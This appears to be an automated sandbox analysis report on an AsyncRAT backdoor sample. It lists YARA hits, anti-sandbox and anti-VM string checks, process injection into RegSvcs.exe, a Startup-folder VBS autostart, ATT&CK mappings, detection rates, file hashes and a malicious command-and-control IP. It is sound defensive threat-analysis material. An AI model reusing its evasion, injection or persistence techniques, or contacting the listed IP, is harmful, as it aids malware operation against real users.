Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7984, type: MEMORYSTR

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8004, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	API/Special instruction interceptor: Address: C7DF7C
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	API/Special instruction interceptor: Address: F1DFCC

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: egpTyFpA8v.exe, 00000000.00000002.1361268610.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: Wausaukee.exe, 00000002.00000003.1360773957.0000000000C04000.00000004.00000020.00020000.00000000.sdmp, Wausaukee.exe, 00000002.00000002.1380809740.0000000000C90000.00000004.00000020.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000002.1486341502.0000000001011000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXESK
Source: Wausaukee.exe, 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: egpTyFpA8v.exe, 00000000.00000002.1361305237.0000000000FEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXESW
Source: Wausaukee.exe, 00000002.00000003.1360773957.0000000000C04000.00000004.00000020.00020000.00000000.sdmp, Wausaukee.exe, 00000002.00000002.1380809740.0000000000C90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEOS
Source: Wausaukee.exe, 00000005.00000002.1486123532.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1469535969.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE:*

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-102144

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	API coverage: 4.4 %
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	API coverage: 4.6 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0049445A
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049C6D1 FindFirstFileW,FindClose,	0_2_0049C6D1
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0049C75C
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0049EF95
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0049F0F2
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0049F3F3
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004937EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_004937EF
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00493B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00493B12
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0049BCBC
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B445A GetFileAttributesW,FindFirstFileW,FindClose,	2_2_009B445A
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BC6D1 FindFirstFileW,FindClose,	2_2_009BC6D1
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_009BC75C
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_009BEF95
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_009BF0F2
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_009BF3F3
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_009B37EF
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_009B3B12
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_009BBCBC

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004349A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004349A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RegSvcs.exe, 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: vmware
Source: RegSvcs.exe, 00000003.00000002.2602945963.00000000009FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllvZ,

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	API call chain: ExitProcess graph end node			graph_0-100939
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	API call chain: ExitProcess graph end node			graph_0-101161

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004A3F09 BlockInput,

0_2_004A3F09

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00433B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00433B3A

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00465A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00465A7C

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00434B37 LoadLibraryA,GetProcAddress,

0_2_00434B37

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00EED168 mov eax, dword ptr fs:[00000030h]	0_2_00EED168
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00EED108 mov eax, dword ptr fs:[00000030h]	0_2_00EED108
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00EEBA98 mov eax, dword ptr fs:[00000030h]	0_2_00EEBA98
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00C7E1E8 mov eax, dword ptr fs:[00000030h]	2_2_00C7E1E8
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00C7E248 mov eax, dword ptr fs:[00000030h]	2_2_00C7E248
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00C7CB78 mov eax, dword ptr fs:[00000030h]	2_2_00C7CB78
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 5_2_00F1CBC8 mov eax, dword ptr fs:[00000030h]	5_2_00F1CBC8
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 5_2_00F1E238 mov eax, dword ptr fs:[00000030h]	5_2_00F1E238
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 5_2_00F1E298 mov eax, dword ptr fs:[00000030h]	5_2_00F1E298

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004880A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_004880A9

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0045A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0045A155
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0045A124 SetUnhandledExceptionFilter,	0_2_0045A124
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0097A124 SetUnhandledExceptionFilter,	2_2_0097A124
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0097A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0097A155

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 5A0008			Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 3F6008			Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004887B1 LogonUserW,

0_2_004887B1

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00433B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00433B3A

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004348D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004348D7

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00494C53 mouse_event,

0_2_00494C53

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\egpTyFpA8v.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"	Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00487CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00487CAF

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_0048874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_0048874B

Source: egpTyFpA8v.exe, Wausaukee.exe.0.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: egpTyFpA8v.exe, Wausaukee.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_0045862B cpuid

0_2_0045862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00464E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00464E87

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00471E06 GetUserNameW,

0_2_00471E06

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00463F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00463F3A

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004349A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004349A0

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8004, type: MEMORYSTR

Source: egpTyFpA8v.exe, 00000000.00000002.1361268610.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procmon.exe

Source: Wausaukee.exe	Binary or memory string: WIN_81
Source: Wausaukee.exe	Binary or memory string: WIN_XP
Source: Wausaukee.exe	Binary or memory string: WIN_XPe
Source: Wausaukee.exe	Binary or memory string: WIN_VISTA
Source: Wausaukee.exe	Binary or memory string: WIN_7
Source: Wausaukee.exe	Binary or memory string: WIN_8
Source: Wausaukee.exe.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004A6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	0_2_004A6283
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004A6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004A6747
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009C6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	2_2_009C6283
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009C6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	2_2_009C6747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	2 Valid Accounts	2 Native API	111 Scripting	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	12 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	2 Registry Run Keys / Startup Folder	212 Process Injection	1 Masquerading	LSA Secrets	341 Security Software Discovery	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Valid Accounts	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	2 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
egpTyFpA8v.exe	68%	Virustotal		Browse
egpTyFpA8v.exe	88%	ReversingLabs	Win32.Backdoor.AsyncRAT
egpTyFpA8v.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	88%	ReversingLabs	Win32.Backdoor.AsyncRAT
C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	68%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
time.windows.com	unknown	unknown	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
69.174.100.131	unknown	United States		8100	ASN-QUADRANET-GLOBALUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588713
Start date and time:	2025-01-11 04:33:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	egpTyFpA8v.exe renamed because original name is a hash value
Original Sample Name:	8f42d1e07595808544eed18a45e8d7220dff40597d4d53d0f63fab47554afbdf.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@10/7@1/1
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 100% Number of executed functions: 54 Number of non-executed functions: 279
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, twc.trafficmanager.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegSvcs.exe, PID 7816 because it is empty
Execution Graph export aborted for target RegSvcs.exe, PID 8004 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:34:48	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
69.174.100.131	30% Order payment-BLQuote_'PO#385995790.exe	Get hash	malicious	AsyncRAT	Browse
	bcUcEm7AqP.exe	Get hash	malicious	AsyncRAT	Browse
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse
	Drawing&spec.scr.exe	Get hash	malicious	AsyncRAT	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	Nfi2yQDBda.exe	Get hash	malicious	Remcos	Browse	69.174.98.48
	rO37Xq39IF.exe	Get hash	malicious	Remcos	Browse	69.174.98.48
	frosty.sh4.elf	Get hash	malicious	Mirai	Browse	45.199.228.228
	xLDz0WPZYc.exe	Get hash	malicious	GuLoader	Browse	66.63.187.30
	xLDz0WPZYc.exe	Get hash	malicious	GuLoader	Browse	66.63.187.30
	vQyKfYxzXB.exe	Get hash	malicious	Remcos	Browse	69.174.98.48
	https://zfrmz.com/3GiGYUP4BArW2NBgkPU3	Get hash	malicious	Unknown	Browse	45.61.152.125
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	66.63.187.173
	armv5l.elf	Get hash	malicious	Unknown	Browse	104.237.80.14
	30% Order payment-BLQuote_'PO#385995790.exe	Get hash	malicious	AsyncRAT	Browse	69.174.100.131

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
